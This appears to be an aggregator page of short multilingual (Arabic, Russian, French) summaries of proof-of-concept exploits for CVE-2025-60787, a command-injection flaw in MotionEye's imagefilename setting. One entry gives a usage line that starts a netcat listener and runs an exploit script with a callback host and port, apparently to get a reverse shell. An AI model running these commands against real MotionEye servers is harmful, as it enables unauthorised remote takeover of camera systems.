CVE-2025-60787_PoC

CVE-2025-60787 - تنفيذ الأوامر عن بُعد في MotionEye ثغرة تنفيذ أوامر عن بُعد RCE مصادق عليها في MotionEye = 0.43.1b4 عبر تجاوز التحقق من جهة العميل في حقل imagefilename. الاستخدام root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 العلامات...

CVE-2025-60787

CVE-2025-60787 - MotionEye RCE MotionEye v0.43.1b4 حقن أوامر نظام التشغيل إثبات مفهوم لاستغلال حقن الأوامر في motionEye، وهي واجهة ويب أمامية لخدمة motion. تستغل الثغرة معامل التكوين imagefilename، الذي يُمرر مباشرةً إلى الصدفة دون تنقية، مما يسمح بحقن أوامر عشوائية عبر بناء جملة الصدفة الفرعية...

CVE-2025-60787

CVE-2025-60787 — motionEye аутентифицированный RCE Аутентифицированный PoC для инъекции команд в CVE-2025-60787. motionEye v0.43.1b4 и более ранние версии записывают управляемые пользователем значения конфигурации камеры, такие как imagefilename, в конфигурацию Motion без достаточной санитизации,...

CVE-2025-60787-MotionEye-RCE

CVE-2025-60787: Motioneye - Exécution de code à distance RCE Preuve de concept PoC professionnelle pour CVE-2025-60787, une vulnérabilité critique d'exécution de code à distance RCE dans MotionEye versions ≤ 0.43.1b4. Aperçu technique La vulnérabilité provient d'un contournement de validation côt...